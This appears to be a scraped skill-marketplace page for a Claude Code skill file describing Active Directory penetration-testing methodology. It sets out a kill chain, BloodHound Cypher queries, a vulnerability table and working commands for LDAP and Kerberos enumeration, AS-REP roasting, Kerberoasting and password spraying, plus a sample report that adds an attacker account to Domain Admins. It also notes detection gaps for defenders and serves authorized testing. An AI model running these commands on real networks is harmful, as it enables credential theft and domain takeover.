菜单
Active Directory pentest methodology — BloodHound graph analysis, Kerberos abuse, ACL exploitation, lateral movement path advisory. Triggers on Active Directory, AD pentest, BloodHound, Kerberoasting, AS-REP, DCSync, Golden Ticket, Silver Ticket, NTLM relay, lateral movement, Impacket, NetExec, Certipy.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Market and demand research procedures. Niche discovery, demand sizing, competitor/gap analysis, opportunity scoring, and pricing/positioning signals BEFORE building. Triggers on: market research, demand, niche, opportunity sizing, competitor analysis, TAM, positioning, pricing, go-to-market, validate idea, is there demand.
Choosing between app.json vs app.config.ts vs app.config.js, environment variables, variants, extra fields, plugin chain, and slug/scheme/bundle/version discipline. Triggers on app.json, app.config.ts, app.config.js, expo config, environment variable, .env, eas secret, variant, extra field, slug, scheme, bundle identifier, package name, version, build number, version code.
Writing Expo config plugins, withInfoPlist, withAndroidManifest, withDangerousMod, mod compose, plugin testing, and registration in app.config.ts. Triggers on config plugin, with-plugin, withInfoPlist, withAndroidManifest, withDangerousMod, withEntitlementsPlist, withGradleProperties, mod, native config, expo plugin, plugin test, app.config plugin.
Custom development builds with expo-dev-client, build profiles, a custom dev menu, runtime-version compatibility, and EAS Update integration. Triggers on expo-dev-client, dev client, custom dev build, development build, dev menu, expo go, runtime version, debug build, dev launcher, scan qr, dev server.
iOS and Android build profiles with EAS Build, credentials management, build cache, secrets, and monorepo support. Triggers on eas build, eas.json, build profile, credentials, provisioning profile, keystore, push certificate, service account, build cache, eas secret, monorepo, development build, preview build, production build.
App Store Connect and Google Play Console upload flow with EAS Submit, metadata, build-artifact selection, review notes, and phased release. Triggers on eas submit, app store connect, google play, asc api key, service account, metadata, screenshot, phased release, review notes, testflight, internal testing, production submit, release management.
| name | pentest-ad |
| description | Active Directory pentest methodology — BloodHound graph analysis, Kerberos abuse, ACL exploitation, lateral movement path advisory. Triggers on Active Directory, AD pentest, BloodHound, Kerberoasting, AS-REP, DCSync, Golden Ticket, Silver Ticket, NTLM relay, lateral movement, Impacket, NetExec, Certipy. |
| license | MIT |
| compatibility | Works with Claude Code |
| allowed-tools | Read Write Edit Bash Grep |
| metadata | {"author":"badi","homepage":"https://github.com/fatihkan/badi-skills/tree/main/skills/pentest-ad","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents ad-attacker (advisory side)"} |
Internal pentest Active Directory advisory. BloodHound graph, Kerberos vulnerability classes, ACL abuse, lateral path. Live command composing requires a scope declaration.
1. Enum: SMB, LDAP, DNS, GPP (passive first)
2. Cred: kerbrute users -> AS-REP roasting (no preauth) -> hashcat
3. Foothold: low-priv shell (phish/web/initial)
4. Recon: BloodHound -> high-value path
5. Privesc: ACL abuse, Kerberos delegation, GPO modify
6. Lateral: PtH, PtT, NTLM relay, WinRM, RDP
7. DA: DCSync (Replicating Changes), Golden Ticket (offline)
8. Persistence: Skeleton key, AdminSDHolder (TIER 2, scope-required)
If the user provides a BloodHound JSON export, the skill runs these queries (Cypher):
// Shortest path to Domain Admin from owned user
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN p LIMIT 5
// Kerberoastable users with priv access
MATCH (u:User {hasspn:true})-[:MemberOf|AdminTo*1..]->(c:Computer)
WHERE u.enabled=true
RETURN u.name, c.name
// AS-REP roastable
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.serviceprincipalnames
// Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.distinguishedname
// GPO modify risk
MATCH (g:GPO)<-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]-(u)
RETURN g.name, u.name
| Vulnerability | Detection | Impact |
|---|---|---|
| AS-REP roast | DONT_REQUIRE_PREAUTH flag | Offline crackable hash |
| Kerberoast | User SPN + RC4 ticket | TGS hash crack -> service acc |
| Unconstrained delegation | Computer object flag | Compromise via the DC printer bug |
| NTLM relay | SMB sign off, web auth | Account takeover via relay |
| ACL abuse | GenericAll, WriteDacl | Reset password, add to group |
| ADCS ESC1-ESC8 | Vulnerable cert template | Domain admin via cert |
| LAPS read | ReadProperty ms-Mcs-AdmPwd | Local admin password leak |
| GPO modify | WriteProperty on GPO link | Mass policy compromise |
| Constrained delegation | Service can impersonate | DA via service abuse |
| MSSQL trustworthy | xp_cmdshell + sysadmin | SQL -> OS command |
# QUIET — anonymous LDAP enum
ldapsearch -x -H ldap://<dc-ip> -b "DC=domain,DC=local" -s sub
# MODERATE — Kerberos user enum (no auth needed)
kerbrute userenum --dc <dc-ip> -d domain.local users.txt
# MODERATE — AS-REP roast (no cred)
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <dc-ip>
# MODERATE — Kerberoast (with a cred)
GetUserSPNs.py domain.local/user:password -dc-ip <dc-ip> -request
# MODERATE — BloodHound collection
bloodhound-python -u user -p password -d domain.local -ns <dc-ip> -c All
# LOUD — NetExec spray (single password, all users)
nxc smb <range> -u users.txt -p 'Spring2026!' --continue-on-success
--throttle 30## AD Compromise Path — <domain>
### Owned Path
1. anonymous SMB shares -> found credentials.txt
2. cred: backup-svc / Backup2024!
3. backup-svc Kerberoastable -> hash crack in 4 minutes
4. backup-svc -> ServerAdmins group member
5. ServerAdmins -> WriteDacl on Domain Admins
6. Single command: net group "Domain Admins" attacker /add -> DA
### Detection Gap (Defensive Output)
- Anonymous SMB share access NOT logged
- ServerAdmins WriteDacl change NOT detected (no Event 5136 alert)
- Recommended Sigma rule: under pentest-detection